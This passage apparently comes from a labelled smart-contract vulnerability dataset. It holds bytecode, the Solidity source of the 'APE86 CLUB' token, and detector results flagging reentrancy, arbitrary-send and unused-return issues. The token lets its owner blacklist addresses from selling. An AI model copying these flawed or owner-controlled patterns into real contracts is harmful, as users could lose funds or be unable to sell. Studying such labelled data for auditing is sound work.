919063ffffffff16565b611c0590919063ffffffff16565b611c0590919063ffffffff16565b611c8b90919063ffffffff16565b600a54611cd590919063ffffffff16565b90505b90565b600e6020528060005260406000206000915090505481565b600a5481565b611a9161155f565b611b03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600b8190555050565b611b25611b20611b1b611d5d565b611357565b610965565b611b2d610ea7565b565b60075481565b611b3d61155f565b611baf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611bb8816120ac565b50565b6000611bfd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f0565b905092915050565b600080831415611c185760009050611c85565b6000828402905082848281611c2957fe5b0414611c80576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806127636021913960400191505060405180910390fd5b809150505b92915050565b6000611ccd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506122b0565b905092915050565b600080828401905083811015611d53576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b611d7a81600354611bbb90919063ffffffff16565b600381905550611dd98160046000611d90611d5d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bbb90919063ffffffff16565b60046000611de5611d5d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e77611e2e611d5d565b82600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611eab9092919063ffffffff16565b50565b6000611ea46103e8611e96601e85611c0590919063ffffffff16565b611c8b90919063ffffffff16565b9050919050565b611f77838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612376565b505050565b6000818310611f8b5781611f8d565b825b905092915050565b611faa81600354611cd590919063ffffffff16565b6003819055506120098160046000611fc0611d5d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cd590919063ffffffff16565b60046000612015611d5d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120a961205e611d5d565b3083600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166125c1909392919063ffffffff16565b50565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612132576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806127136026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600083831115829061229d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612262578082015181840152602081019050612247565b50505050905090810190601f16801561228f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808311829061235c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612321578082015181840152602081019050612306565b50505050905090810190601f16801561234e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161236857fe5b049050809150509392505050565b6123958273ffffffffffffffffffffffffffffffffffffffff166126c7565b612407576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b602083106124565780518252602082019150602081019050602083039250612433565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146124b8576040519150601f19603f3d011682016040523d82523d6000602084013e6124bd565b606091505b509150915081612535576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b6000815111156125bb5780806020019051602081101561255457600080fd5b81019080805190602001909291905050506125ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806127a5602a913960400191505060405180910390fd5b5b50505050565b6126c1848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612376565b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b82141580156127095750808214155b9250505091905056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737343616e20636c61696d20726577617264206f6e636520343820686f757220697320636f6d706c65746564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c6572206973206e6f742072657761726420646973747269627574696f6e5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a723158202e76ff52c1b71c0159133bb4793822af34fc7f9c976cfaa1cd5ca1e1e4e77b0664736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
3,133
0x969d6814e45fa3f64aaeea56c9a9871995cf7339
// SPDX-License-Identifier: UNLICENSE /** APE86 CLUB APE86 Supply100,000,000 MaxBuy1,500,000 https://www.ape86club.com/ https://t.me/APE86Club https://twitter.com/ape86club **/ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract APE86 is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "APE86 CLUB"; string private constant _symbol = "APE86"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 public _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _maxTxAmount = _tTotal.div(66); emit Transfer(address(_msgSender()), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 4; _feeAddr2 = 4; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // buy require(amount <= _maxTxAmount); require(tradingOpen); } if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]&&to == uniswapV2Pair){ require(!bots[from] && !bots[to]); _feeAddr1 = 4; _feeAddr2 = 4; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function increaseMaxTx(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function addSwap() external onlyOwner { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiq() external onlyOwner{ uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function enableTrading() external onlyOwner{ tradingOpen = true; } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){ bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c80637d1db4a5116100ab578063a9059cbb1161006f578063a9059cbb14610332578063b515566a14610352578063c3c8cd8014610372578063d91a21a614610387578063dd62ed3e146103a7578063e9e1831a146103ed57600080fd5b80637d1db4a51461029c5780638a259e6c146102b25780638a8c523c146102c75780638da5cb5b146102dc57806395d89b411461030457600080fd5b8063313ce567116100f2578063313ce567146102165780635932ead1146102325780636fc3eaec1461025257806370a0823114610267578063715018a61461028757600080fd5b806306fdde031461013a578063095ea7b31461017f57806318160ddd146101af57806323b872dd146101d4578063273123b7146101f457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600a81526920a8229c1b1021a62aa160b11b60208201525b6040516101769190611629565b60405180910390f35b34801561018b57600080fd5b5061019f61019a3660046116a3565b610402565b6040519015158152602001610176565b3480156101bb57600080fd5b5067016345785d8a00005b604051908152602001610176565b3480156101e057600080fd5b5061019f6101ef3660046116cf565b610419565b34801561020057600080fd5b5061021461020f366004611710565b610482565b005b34801561022257600080fd5b5060405160098152602001610176565b34801561023e57600080fd5b5061021461024d36600461173b565b6104d6565b34801561025e57600080fd5b5061021461051e565b34801561027357600080fd5b506101c6610282366004611710565b61052b565b34801561029357600080fd5b5061021461054d565b3480156102a857600080fd5b506101c6600f5481565b3480156102be57600080fd5b506102146105c1565b3480156102d357600080fd5b5061021461078e565b3480156102e857600080fd5b506000546040516001600160a01b039091168152602001610176565b34801561031057600080fd5b5060408051808201909152600581526420a8229c1b60d91b6020820152610169565b34801561033e57600080fd5b5061019f61034d3660046116a3565b6107cd565b34801561035e57600080fd5b5061021461036d36600461176e565b6107da565b34801561037e57600080fd5b5061021461092e565b34801561039357600080fd5b506102146103a2366004611833565b610944565b3480156103b357600080fd5b506101c66103c236600461184c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103f957600080fd5b5061021461099e565b600061040f338484610b60565b5060015b92915050565b6000610426848484610c84565b610478843361047385604051806060016040528060288152602001611a49602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f9e565b610b60565b5060019392505050565b6000546001600160a01b031633146104b55760405162461bcd60e51b81526004016104ac90611885565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105005760405162461bcd60e51b81526004016104ac90611885565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b4761052881610fd8565b50565b6001600160a01b03811660009081526002602052604081205461041390611012565b6000546001600160a01b031633146105775760405162461bcd60e51b81526004016104ac90611885565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105eb5760405162461bcd60e51b81526004016104ac90611885565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610627308267016345785d8a0000610b60565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610665573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068991906118ba565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fa91906118ba565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610747573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076b91906118ba565b600e80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b031633146107b85760405162461bcd60e51b81526004016104ac90611885565b600e805460ff60a01b1916600160a01b179055565b600061040f338484610c84565b6000546001600160a01b031633146108045760405162461bcd60e51b81526004016104ac90611885565b60005b815181101561092a57600d5482516001600160a01b0390911690839083908110610833576108336118d7565b60200260200101516001600160a01b0316141580156108845750600e5482516001600160a01b0390911690839083908110610870576108706118d7565b60200260200101516001600160a01b031614155b80156108bb5750306001600160a01b03168282815181106108a7576108a76118d7565b60200260200101516001600160a01b031614155b15610918576001600660008484815181106108d8576108d86118d7565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061092281611903565b915050610807565b5050565b60006109393061052b565b90506105288161108f565b6000546001600160a01b0316331461096e5760405162461bcd60e51b81526004016104ac90611885565b6000811161097b57600080fd5b610998606461099267016345785d8a000084611209565b90610b17565b600f5550565b6000546001600160a01b031633146109c85760405162461bcd60e51b81526004016104ac90611885565b600d546001600160a01b031663f305d71947306109e48161052b565b6000806109f96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a61573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a86919061191c565b5050600e805461ffff60b01b19811661010160b01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610af3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610528919061194a565b6000610b5983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061128b565b9392505050565b6001600160a01b038316610bc25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ac565b6001600160a01b038216610c235760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ac565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ac565b6001600160a01b038216610d4a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ac565b60008111610dac5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ac565b6004600a819055600b556000546001600160a01b03848116911614801590610de257506000546001600160a01b03838116911614155b15610f8e57600e546001600160a01b038481169116148015610e125750600d546001600160a01b03838116911614155b8015610e3757506001600160a01b03821660009081526005602052604090205460ff16155b8015610e4c5750600e54600160b81b900460ff165b15610e7657600f54811115610e6057600080fd5b600e54600160a01b900460ff16610e7657600080fd5b600d546001600160a01b03848116911614801590610ead57506001600160a01b03831660009081526005602052604090205460ff16155b8015610ec65750600e546001600160a01b038381169116145b15610f21576001600160a01b03831660009081526006602052604090205460ff16158015610f0d57506001600160a01b03821660009081526006602052604090205460ff16155b610f1657600080fd5b6004600a819055600b555b6000610f2c3061052b565b600e54909150600160a81b900460ff16158015610f575750600e546001600160a01b03858116911614155b8015610f6c5750600e54600160b01b900460ff165b15610f8c57610f7a8161108f565b478015610f8a57610f8a47610fd8565b505b505b610f998383836112b9565b505050565b60008184841115610fc25760405162461bcd60e51b81526004016104ac9190611629565b506000610fcf8486611967565b95945050505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561092a573d6000803e3d6000fd5b60006008548211156110795760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104ac565b60006110836112c4565b9050610b598382610b17565b600e805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110d7576110d76118d7565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611130573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115491906118ba565b81600181518110611167576111676118d7565b6001600160a01b039283166020918202929092010152600d5461118d9130911684610b60565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111c690859060009086903090429060040161197e565b600060405180830381600087803b1580156111e057600080fd5b505af11580156111f4573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b60008260000361121b57506000610413565b600061122783856119ef565b9050826112348583611a0e565b14610b595760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ac565b600081836112ac5760405162461bcd60e51b81526004016104ac9190611629565b506000610fcf8486611a0e565b610f998383836112e7565b60008060006112d16113de565b90925090506112e08282610b17565b9250505090565b6000806000806000806112f98761141e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061132b908761147b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461135a90866114bd565b6001600160a01b03891660009081526002602052604090205561137c8161151c565b6113868483611566565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113cb91815260200190565b60405180910390a3505050505050505050565b600854600090819067016345785d8a00006113f98282610b17565b8210156114155750506008549267016345785d8a000092509050565b90939092509050565b600080600080600080600080600061143b8a600a54600b5461158a565b925092509250600061144b6112c4565b9050600080600061145e8e8787876115d9565b919e509c509a509598509396509194505050505091939550919395565b6000610b5983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9e565b6000806114ca8385611a30565b905083811015610b595760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ac565b60006115266112c4565b905060006115348383611209565b3060009081526002602052604090205490915061155190826114bd565b30600090815260026020526040902055505050565b600854611573908361147b565b60085560095461158390826114bd565b6009555050565b600080808061159e60646109928989611209565b905060006115b160646109928a89611209565b905060006115c9826115c38b8661147b565b9061147b565b9992985090965090945050505050565b60008080806115e88886611209565b905060006115f68887611209565b905060006116048888611209565b90506000611616826115c3868661147b565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156116565785810183015185820160400152820161163a565b81811115611668576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052857600080fd5b803561169e8161167e565b919050565b600080604083850312156116b657600080fd5b82356116c18161167e565b946020939093013593505050565b6000806000606084860312156116e457600080fd5b83356116ef8161167e565b925060208401356116ff8161167e565b929592945050506040919091013590565b60006020828403121561172257600080fd5b8135610b598161167e565b801515811461052857600080fd5b60006020828403121561174d57600080fd5b8135610b598161172d565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561178157600080fd5b823567ffffffffffffffff8082111561179957600080fd5b818501915085601f8301126117ad57600080fd5b8135818111156117bf576117bf611758565b8060051b604051601f19603f830116810181811085821117156117e4576117e4611758565b60405291825284820192508381018501918883111561180257600080fd5b938501935b828510156118275761181885611693565b84529385019392850192611807565b98975050505050505050565b60006020828403121561184557600080fd5b5035919050565b6000806040838503121561185f57600080fd5b823561186a8161167e565b9150602083013561187a8161167e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118cc57600080fd5b8151610b598161167e565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611915576119156118ed565b5060010190565b60008060006060848603121561193157600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561195c57600080fd5b8151610b598161172d565b600082821015611979576119796118ed565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119ce5784516001600160a01b0316835293830193918301916001016119a9565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611a0957611a096118ed565b500290565b600082611a2b57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611a4357611a436118ed565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122047ed69fca5835394e871dee21e7eaaaf0c0b4b532cd0fb2001fd87db455c4b4d64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,134
0xcb8c1ae30ce80296ec087afead9b32b3bedb8c48
// SPDX-License-Identifier: MIT pragma solidity >0.8.9; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function 